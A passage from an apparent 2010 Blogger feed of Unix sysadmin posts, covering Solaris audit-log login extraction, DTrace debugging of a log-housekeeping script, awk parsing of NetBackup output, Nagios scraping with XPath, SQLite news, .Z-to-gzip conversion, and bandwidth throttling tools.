Completed.
&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-8927130104052305340?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/8927130104052305340/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=8927130104052305340' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/8927130104052305340'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/8927130104052305340'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2010/11/merger-of-merger.html' title='Merger of the Merger'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-3457727215418423880</id><published>2010-10-26T23:19:00.006+08:00</published><updated>2010-10-26T23:41:28.516+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='Solaris'/><title type='text'>Finding Failed Logins in Solaris using C2 Log</title><content type='html'>In Linux, you have &lt;a href="http://linux.die.net/man/1/lastb"&gt;lastb&lt;/a&gt; - last bad logins, to log failed logins. In Solaris, you can register it using &lt;a href="http://docs.sun.com/app/docs/doc/816-0219/6m6njqb9d?l=en&amp;a=view"&gt;loginlog(4)&lt;/a&gt;. but it is not turn on by default.
&lt;p&gt;
If your environment enables &lt;a href="http://chihungchan.blogspot.com/2008/11/solaris-basic-security-module-default.html"&gt;auditing&lt;/a&gt; (aka BSM - Basic Security Module, or C2), you can extract the login information. Default setting for BSM includes login / logout. With &lt;code&gt;auditreduce&lt;/code&gt;, you can extrace the &lt;code&gt;lo&lt;/code&gt; (login/logout) class from the audit log. Below one-liner will help you to extract those logins.
&lt;pre&gt;
root@chihung# auditreduce -a 20101025000000 -u chihung \
 -c lo /var/audit/20101024164715.not_terminated.chihung | praudit -l
header,85,2,ftp access,,chihung7,2010-10-25 11:37:59.141+08:00,subject,chihung,chihung,chihung,root,root,4675,4675,633 131093 host1.chihung.chan,text,bad password,return,failure,1
header,69,2,login - ssh,,chihung4,2010-10-25 11:52:19.537+08:00,subject,chihung,chihung,chihung,chihung,chihung,157,4071257189,37622 host2.chihung.chan,return,failure,Maximum number of attempts exceeded
header,69,2,login - ssh,,chihung2,2010-10-25 11:52:43.658+08:00,subject,chihung,chihung,chihung,chihung,chihung,327,372387060,376131094 host3.chihung.chan,return,failure,Permission denied
&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-3457727215418423880?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/3457727215418423880/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=3457727215418423880' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/3457727215418423880'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/3457727215418423880'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2010/10/finding-failed-logins-in-solaris-using.html' title='Finding Failed Logins in Solaris using C2 Log'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-3698496787129726645</id><published>2010-10-26T21:43:00.006+08:00</published><updated>2010-10-27T08:19:01.320+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Solaris'/><category scheme='http://www.blogger.com/atom/ns#' term='DTrace'/><title type='text'>House Keep Script Not Doing Its Job</title><content type='html'>Recently I found  one of my customer's scripts is not doing what it suppose to do, which is to house keep old log files. Here is how I locate the culprit.
&lt;p&gt;
I have been dumping out those &lt;a href="http://chihungchan.blogspot.com/2010/05/link-count-of-zero.html"&gt;zero link files&lt;/a&gt; daily for all my managed servers and realised that one of the application accounts has been choking up 2GB+ worth of memory. Since these files are having zero link, there is no way to find out the original file name. With the help of &lt;a href="http://www.sun.com/bigadmin/content/dtrace/"&gt;DTrace&lt;/a&gt; in Solaris 10, I am able to tell when this particular user trying to delete (unlink in syscall) a file. Below is a simple dtrace script that I run for a couple of days.
&lt;pre&gt;
#! /usr/sbin/dtrace -s

#pragma D option quiet

syscall::unlink:entry
/uid==1234/
{
        printf("%-20Y pid=%d ppid=%d execname=%s args=%s\n", walltimestamp, pid, ppid, execname, copyinstr(arg0));
}
&lt;/pre&gt;
&lt;p&gt;
Sample output:
&lt;pre&gt;
2010 Oct 21 20:01:15 pid=1667 ppid=29587 execname=gzip args=/opt/chihung/log/Err-s_ac.txt.20101021064218
2010 Oct 21 20:01:15 pid=29599 ppid=29587 execname=gzip args=/opt/chihung/log/ChanSecurityLog211010.log
2010 Oct 21 20:01:48 pid=1668 ppid=29587 execname=gzip args=/opt/chihung/log/ChanControlServicesLog211010.log
2010 Oct 21 20:02:21 pid=1916 ppid=29587 execname=gzip args=/opt/chihung/log/ChanBusinessServicesLog211010.log
2010 Oct 21 20:02:27 pid=2160 ppid=29587 execname=gzip args=/opt/chihung/log/ChanFixedexpenseLog211010.log
2010 Oct 21 20:02:47 pid=2290 ppid=29587 execname=gzip args=/opt/chihung/log/aclist.txt.20101021084119
2010 Oct 21 20:02:47 pid=2294 ppid=29587 execname=gzip args=/opt/chihung/log/Chan_20101020_error_13360_batch
2010 Oct 21 20:02:47 pid=2296 ppid=2295 execname=rm args=/opt/chihung/log/ChanControlServicesLog211010.log.gz
2010 Oct 21 20:02:47 pid=2297 ppid=2295 execname=rm args=/opt/chihung/log/ChanFixedexpenseLog211010.log.gz
2010 Oct 21 20:02:47 pid=2299 ppid=2295 execname=rm args=/opt/chihung/log/ChanUserLog211010.log.gz
2010 Oct 21 20:02:47 pid=2300 ppid=2295 execname=rm args=/opt/chihung/log/aclist.txt.20101021084119.gz
2010 Oct 21 20:02:47 pid=2301 ppid=2295 execname=rm args=/opt/chihung/log/Chan003_20101020_error_13359_adhoc.gz
2010 Oct 21 20:02:47 pid=2303 ppid=2295 execname=rm args=/opt/chihung/log/ChanBusinessServicesLog211010.log.gz
2010 Oct 21 20:02:47 pid=2304 ppid=2295 execname=rm args=/opt/chihung/log/ChanDepositLog211010.log.gz
2010 Oct 21 20:02:47 pid=2305 ppid=2295 execname=rm args=/opt/chihung/log/ChanNdfLog211010.log.gz
2010 Oct 21 20:02:47 pid=2307 ppid=2295 execname=rm args=/opt/chihung/log/Err-S001_20101020_error_13358_adhoc.gz
&lt;/pre&gt;
&lt;p&gt;
At 20:00 daily, &lt;code&gt;gzip&lt;/code&gt; is compressing a couple of log files and that followed by &lt;code&gt;rm&lt;/code&gt; on the gzipped files. That's wierd. Why would someone want to compress log files and remove it after that. When the application rotate log file daily, it is unable to locate the original log file handler to release the memory. Therefore, the number of zero link files increases and hence more used memory. By cross examining the scheduled jobs at 20:00, I found the following script
&lt;pre&gt;
#!/bin/ksh -x

APPDIR=/opt/$1/log
if [[ -d $APPDIR ]]; then
        find $APPDIR \( -name "*.out" -o -name "*.gz" \) -prune -o -type f -mtime -1 -exec gzip {} \;
        find $APPDIR -name "*.gz" -mtime -1 -exec rm -f {} \;
        exit 0
fi
&lt;/pre&gt;
&lt;p&gt;
If you look at the man page for &lt;a href="http://docs.sun.com/app/docs/doc/816-0210/6m6nb7m9j?a=view"&gt;find(1)&lt;/a&gt;, &lt;code&gt;-mtime -1&lt;/code&gt; means modified time less than 1 day! Shouldn't it be &lt;code&gt;-mtime +1&lt;/code&gt; - modified time older than 1 day.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-3698496787129726645?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/3698496787129726645/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=3698496787129726645' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/3698496787129726645'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/3698496787129726645'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2010/10/house-keep-script-not-doing-its-job.html' title='House Keep Script Not Doing Its Job'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-2858544315327322155</id><published>2010-10-16T17:12:00.001+08:00</published><updated>2010-10-16T17:15:17.637+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='awk'/><category scheme='http://www.blogger.com/atom/ns#' term='shell script'/><title type='text'>Key-Value Pair in Multi-line Records</title><content type='html'>If you have to deal with &lt;a href="http://chihungchan.blogspot.com/2008/06/how-to-parse-multiline-in-awk.html"&gt;multi-line&lt;/a&gt; records, &lt;a href="http://en.wikipedia.org/wiki/Awk"&gt;AWK&lt;/a&gt; is definitely your friend. Sometimes the records come in the form of first record is the key and the next record is the value. To make matter worse, the value record can be optional, ie it may not exist at all.
&lt;p&gt;
For example, the following sample data set have the above characteristics. What we need is a script to list down the values for a particular pool name. The first 3 lines are headers which can we going to ignore.
&lt;pre&gt;
$ cat testdata.txt
media media robot robot robot side/ ret    size status
 ID type type   # slot face level  KBytes
----------------------------------------------------------------------------
One pool

A00001 HCART    TLD   0   26  -  10     101568 AVAILABLE

Two pool

B00001 HCART    NONE   -   -  -  -     - AVAILABLE
B00002 HCART    NONE   -   -  -  -     - AVAILABLE

Three pool

C00001 HCART    NONE   -   -  -  -     - AVAILABLE
C00002 HCART    NONE   -   -  -  -     - AVAILABLE
C00003 HCART    NONE   -   -  -  -     - AVAILABLE

Zero pool

Four pool

D00001 HCART2   NONE   -   -  -  -     - AVAILABLE
D00002 HCART3   NONE   -   -  -  -     - AVAILABLE
D00003 HCART3   NONE   -   -  -  -     - AVAILABLE
D00004 HCART3   NONE   -   -  -  -     - AVAILABLE
&lt;/pre&gt;
&lt;p&gt;
By changing the default AWK FS (field separator) and RS (record separator) to be newline and blank line repsectively, we are able to handle the above multi-line records. In order to accommodate zero 'value' in a record, we need to put in the logical in the AWK code.
&lt;pre&gt;
$ cat pool.sh
#! /bin/sh

PATH=/usr/bin:/bin:/usr/sbin:/usr/local/bin
LD_LIBRARY_PATH=/usr/lib:/lib:/usr/local/lib


if [ $# -ne 2 ]; then
 echo "Usage: $0 &lt;txt-file&gt; &lt;pool&gt;\n"
 exit 1
fi
txtfile=$1
pool=$2
if [ ! -f $txtfile ]; then
 echo "Error. $txtfile does not exist\n"
 exit 2
fi


sed -n '4,$p' $txtfile | awk -v pool="$pool" '
BEGIN {
 FS="\n"
 RS=""
 poolname=sprintf("%s pool", pool)
}
$1 == poolname {
 start=1
 next
}
start==1 &amp;&amp; $0 ~ /pool/ {
 exit
}
start==1 {
 for (i=1;i&lt;=NF;++i ) {
         print $i
 }
 exit
}'
&lt;/pre&gt;
&lt;p&gt;
See script in action.
&lt;pre&gt;
$ ./pool.sh testdata.txt One
A00001 HCART    TLD   0   26  -  10     101568 AVAILABLE

$ ./pool.sh testdata.txt Two
B00001 HCART    NONE   -   -  -  -     - AVAILABLE
B00002 HCART    NONE   -   -  -  -     - AVAILABLE

$ ./pool.sh testdata.txt Three
C00001 HCART    NONE   -   -  -  -     - AVAILABLE
C00002 HCART    NONE   -   -  -  -     - AVAILABLE
C00003 HCART    NONE   -   -  -  -     - AVAILABLE

$ ./pool.sh testdata.txt Four
D00001 HCART2   NONE   -   -  -  -     - AVAILABLE
D00002 HCART3   NONE   -   -  -  -     - AVAILABLE
D00003 HCART3   NONE   -   -  -  -     - AVAILABLE
D00004 HCART3   NONE   -   -  -  -     - AVAILABLE

$ ./pool.sh testdata.txt Unknown

$ ./pool.sh testdata.txt Zero

$ 
&lt;/pre&gt;
&lt;p&gt;
So what is the big deal ? This is the kind of output you will get from NetBackup /usr/openv/netbackup/bin/goodies/available_media. With this script, you can handle the available_media output with ease.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-2858544315327322155?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/2858544315327322155/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=2858544315327322155' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/2858544315327322155'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/2858544315327322155'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2010/10/key-value-pair-in-multi-line-records.html' title='Key-Value Pair in Multi-line Records'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-2466299136985213306</id><published>2010-10-09T22:51:00.002+08:00</published><updated>2010-10-09T23:06:00.786+08:00</updated><title type='text'>Data Visualization</title><content type='html'>Stumbled upon this article - &lt;a href="http://radar.oreilly.com/2010/10/strata-week-videos-and-visuali.html"&gt;Videos and visualization - Data viz for journalism, student career paths, multi-dimensional data, and the future.&lt;/a&gt;. It featured this video &lt;br&gt;
&lt;iframe src="http://player.vimeo.com/video/14777910" width="400" height="300" frameborder="0"&gt;&lt;/iframe&gt;&lt;p&gt;&lt;a href="http://vimeo.com/14777910"&gt;Journalism in the Age of Data&lt;/a&gt; from &lt;a href="http://vimeo.com/geoffmcghee"&gt;Geoff McGhee&lt;/a&gt; on &lt;a href="http://vimeo.com"&gt;Vimeo&lt;/a&gt;.
&lt;p&gt;
With the exponential increase in data, data visualization will be the next wave. The big names are working on this area:  
&lt;a href="http://www.ibm.com/"&gt;IBM&lt;/a&gt; is working on &lt;a href="https://manyeyes.alphaworks.ibm.com/manyeyes/"&gt;Many Eyes&lt;/a&gt; and &lt;a href="http://www.google.com/"&gt;Google&lt;/a&gt; is on &lt;a href="http://www.google.com/publicdata/home"&gt;Public Data Explorer&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-2466299136985213306?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/2466299136985213306/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=2466299136985213306' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/2466299136985213306'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/2466299136985213306'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2010/10/data-visualization.html' title='Data Visualization'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-3112097584571555033</id><published>2010-09-15T23:37:00.004+08:00</published><updated>2010-09-16T00:12:10.783+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tDOM'/><category scheme='http://www.blogger.com/atom/ns#' term='Tcl'/><category scheme='http://www.blogger.com/atom/ns#' term='Web Scraping'/><title type='text'>Web Scraping Nagios</title><content type='html'>I have not been &lt;a href="http://chihungchan.blogspot.com/search/label/Web%20Scraping"&gt;web scape&lt;/a&gt; for quite a while. Recently I need to rearrange and summarise &lt;a href="http://www.nagios.org/"&gt;Nagios&lt;/a&gt; data so as to present the monitoring info into some form of management dashboard. 
&lt;p&gt;
With &lt;a href="http://www.tcl.tk/"&gt;Tcl&lt;/a&gt; and it's &lt;a href="http://www.tdom.org/"&gt;tdom&lt;/a&gt; extension, I am able to web scrape with ease. However, one of the challenges is that I need to summarise all the disk partitions utilisation criticality as a single service. My initial &lt;a href="http://www.w3.org/TR/xpath/"&gt;XPath&lt;/a&gt; is to go through all 26 partitions (Disks A to Z)
&lt;pre&gt;
$branch selectNodes {td/a[@class='statusCRITICAL'][
    text()='WINDISK-A' or text()='WINDISK-B' or text()='WINDISK-C' or
    text()='WINDISK-D' or text()='WINDISK-E' or text()='WINDISK-F' or
    text()='WINDISK-G' or text()='WINDISK-H' or text()='WINDISK-I' or
    text()='WINDISK-J' or text()='WINDISK-K' or text()='WINDISK-L' or
    text()='WINDISK-M' or text()='WINDISK-N' or text()='WINDISK-O' or
    text()='WINDISK-P' or text()='WINDISK-Q' or text()='WINDISK-R' or
    text()='WINDISK-S' or text()='WINDISK-T' or text()='WINDISK-U' or
    text()='WINDISK-V' or text()='WINDISK-W' or text()='WINDISK-X' or
    text()='WINDISK-Y' or text()='WINDISK-Z'
]}
&lt;/pre&gt;
&lt;p&gt;
If you read the &lt;a href="http://www.w3.org/TR/xpath/"&gt;XPath&lt;/a&gt; specification, you will find the starts-with() function can be used in this scenario. With a single function, I can avoid all the above messy syntax. 
&lt;pre&gt;
$branch selectNodes {td/a[@class='statusCRITICAL'][starts-with(.,'WINDISK-')]}
&lt;/pre&gt;
&lt;p&gt;
&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_QxCNUeDt_uQ/TJDvVj466cI/AAAAAAAAAlI/KB_d6SuxYzw/s1600/nagios.png"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 187px;" src="http://3.bp.blogspot.com/_QxCNUeDt_uQ/TJDvVj466cI/AAAAAAAAAlI/KB_d6SuxYzw/s320/nagios.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5517172697219131842" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-3112097584571555033?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/3112097584571555033/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=3112097584571555033' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/3112097584571555033'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/3112097584571555033'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2010/09/web-scraping-nagios.html' title='Web Scraping Nagios'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_QxCNUeDt_uQ/TJDvVj466cI/AAAAAAAAAlI/KB_d6SuxYzw/s72-c/nagios.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-4662389020357500023</id><published>2010-09-09T20:46:00.004+08:00</published><updated>2010-09-09T21:05:24.496+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='SQLite'/><title type='text'>What's New in SQLite3</title><content type='html'>The latest version of &lt;a href="http://www.sqlite.org/"&gt;SQLite&lt;/a&gt; is &lt;a href="http://www.sqlite.org/releaselog/3_7_2.html"&gt;3.7.2&lt;/a&gt;. Prior to 3.7, SQLite uses &lt;a href="http://www.sqlite.org/atomiccommit.html"&gt;atomic commit and rollback&lt;/A&gt;. From 3.7.0 onwards, the default method is &lt;a href="http://www.sqlite.org/wal.html"&gt;write-ahead logging&lt;/a&gt;.
&lt;p&gt;
A &lt;a href="http://answers.oreilly.com/topic/2035-whats-new-in-sqlite-37/"&gt;recent article&lt;/a&gt; from &lt;a href="http://www.oreilly.com/"&gt;O'Reilly&lt;/a&gt; talked about the latest features in 3.7. Also a new book - &lt;a href="http://oreilly.com/catalog/9780596521196/"&gt;Using SQLite&lt;/a&gt; is already out in the local bookstore.
&lt;p&gt;
If you are i-whatever (iPhone, iPad, ...) user, you are already a SQLite user. See this 94 page PDF presentation, &lt;a href="http://www.tclcommunityassociation.org/wub/proceedings/Proceedings-2009/proceedings/sqlitetcl/tcl2009-sqlite.pdf"&gt;The World's Most Popular TCL Extension&lt;/a&gt;, presented by the author in last year Tcl 2009 conference to find out more
&lt;p&gt;
Whether you are a web developer, system programmer or administrator, SQLite is definitely a tool that you should learn and know about.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-4662389020357500023?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/4662389020357500023/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=4662389020357500023' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/4662389020357500023'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/4662389020357500023'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2010/09/whats-new-in-sqlite3.html' title='What&apos;s New in SQLite3'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-7064516110891358510</id><published>2010-08-27T16:46:00.001+08:00</published><updated>2010-08-27T17:40:20.897+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='shell script'/><category scheme='http://www.blogger.com/atom/ns#' term='Solaris'/><title type='text'>Z to gz On The Fly</title><content type='html'>If you have a lot of compress files (*.Z) and you want to convert them to gzip format to space disk space, here is the function that you can use. The function, Z2gz, make use of standard input and standard output to dynamically uncompress and gzip on the fly to avoiding any intermediate file to be created. Also, it will set the permission, ownership and timestamp to be the same as the original file.
&lt;p&gt;
&lt;pre&gt;
Z2gz()
{
for Z in *.Z
do
    gz="${Z%.Z}.gz"
    uncompress &amp;lt; $Z | gzip &amp;gt; $gz
    touch -r $Z $gz
    getfacl $Z | setfacl -f - $gz
    rm -f $Z
done
}
&lt;/pre&gt;
&lt;p&gt;
Z2gz in action. In this exercise, we saved 11,970,771 bytes
&lt;pre&gt;
$ ls -l *.Z
-rw-------   1 chihung   chihung     5278987 Feb  2  2009 apache.tar.Z
-rw-r-----   1 chihung   chihung     1479993 Aug 27 09:29 freetype-2.3.1-sol10-sparc-local.Z
-rw-r-----   1 chihung   chihung     25318755 Feb  2  2009 ganglia.tar.Z
-rw-r-----   1 chihung   chihung      797471 Aug 27 09:29 libgcc-3.4.6-sol10-sparc-local.Z
-rw-r--r--   1 chihung   chihung     4039745 Feb 19  2009 mediawiki-1.6.12.tar.Z

$ Z2gz

$ ls -l *.gz
-rw-------   1 chihung   chihung     3641373 Feb  2  2009 apache.tar.gz
-rw-r-----   1 chihung   chihung     1019829 Aug 27 09:29 freetype-2.3.1-sol10-sparc-local.gz
-rw-r-----   1 chihung   chihung     16940517 Feb  2  2009 ganglia.tar.gz
-rw-r-----   1 chihung   chihung      527891 Aug 27 09:29 libgcc-3.4.6-sol10-sparc-local.gz
-rw-r--r--   1 chihung   chihung     2814570 Feb 19  2009 mediawiki-1.6.12.tar.gz
&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-7064516110891358510?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/7064516110891358510/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=7064516110891358510' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/7064516110891358510'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/7064516110891358510'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2010/08/z-to-gz-on-fly.html' title='Z to gz On The Fly'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-1605691275537502761</id><published>2010-08-14T16:25:00.006+08:00</published><updated>2010-08-15T08:14:18.680+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='performance'/><title type='text'>Bandwidth Throttling</title><content type='html'>One of the users wanted to transfer a big file (300GB) from a Unix server to an external USB HDD. To make matter worse, the UNIX server is located across the WAN and the customer's management mentioned that no one is allow to transfer file bigger than 1GB. What the management implies is that do not jam up the WAN link with big file(s) transfer.
&lt;p&gt;
Guess what, people literally interpreted the statement AS IS. The 300GB file is &lt;code&gt;split&lt;/code&gt; into small chucks, just slightly smaller than the 1GB limit, and have them merge back in the destination end. Although it does not violate the management rule, there is no different in terms of bandwidth utilisation. If the user is smart (or dumb), he/she can initiate multiple downloads to accelerate the transfer and this will definitely choke up the WAN link.
&lt;p&gt;
Do you know that there are many ways to do &lt;a href="http://en.wikipedia.org/wiki/Bandwidth_throttling"&gt;bandwdith throttling&lt;/a&gt;:
&lt;ul&gt;
&lt;li&gt;Client end
  &lt;ul&gt;
  &lt;li&gt;&lt;a href="http://curl.haxx.se/"&gt;curl&lt;/a&gt; with --limit-rate speed
  &lt;li&gt;&lt;a href="http://www.gnu.org/software/wget/"&gt;wget&lt;/a&gt; with --limit-rate=amount
  &lt;li&gt;&lt;a href="http://search.cpan.org/dist/Net-FTP-Throttle/"&gt;NET::FTP::Throttle&lt;/a&gt; perl module
  &lt;li&gt;and many more
  &lt;/ul&gt;
&lt;li&gt;Server end
  &lt;ul&gt;
  &lt;li&gt;&lt;a href="http://www.lighttpd.net/"&gt;lighttpd&lt;/a&gt; with connection.kbytes-per-second setting in the configurtion file. See &lt;a href="http://redmine.lighttpd.net/projects/lighttpd/wiki/Docs:TrafficShaping"&gt;traffic shaping&lt;/a&gt; for more details
  &lt;li&gt;&lt;a href="http://bwmod.sourceforge.net/"&gt;mod_bw&lt;/a&gt; module in Apache
  &lt;li&gt;and many more
  &lt;/ul&gt;
&lt;/ul&gt;
&lt;p&gt;
With bandwidth throttling, network utilisation can be controlled. Also, it can avoid splitting/merging of small files and having temporarily storage to house these small files.
&lt;p&gt;
Things to take note. Some of the older file systems and utilities can only handle file smaller than 4GB. See &lt;a href="http://en.wikipedia.org/wiki/Comparison_of_file_systems"&gt;the comparison of all the other file systems&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-1605691275537502761?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/1605691275537502761/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=1605691275537502761' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/1605691275537502761'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/1605691275537502761'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2010/08/bandwidth-throttling.html' title='Bandwidth Throttling'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-1877644447391264179</id><published>2010-08-01T11:00:00.002+08:00</published><updated>2010-08-01T11:13:51.301+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='shell script'/><category scheme='http://www.blogger.com/atom/ns#' term='Solaris'/><title type='text'>Failsafe gzip</title><content type='html'>If you try to gzip file that is currently opened by other process, your program will lose the handler and therefore will not be able to read/write to it. You can verify that the i-node (&lt;code&gt;ls -li&lt;/code&gt;) is different after gzip.
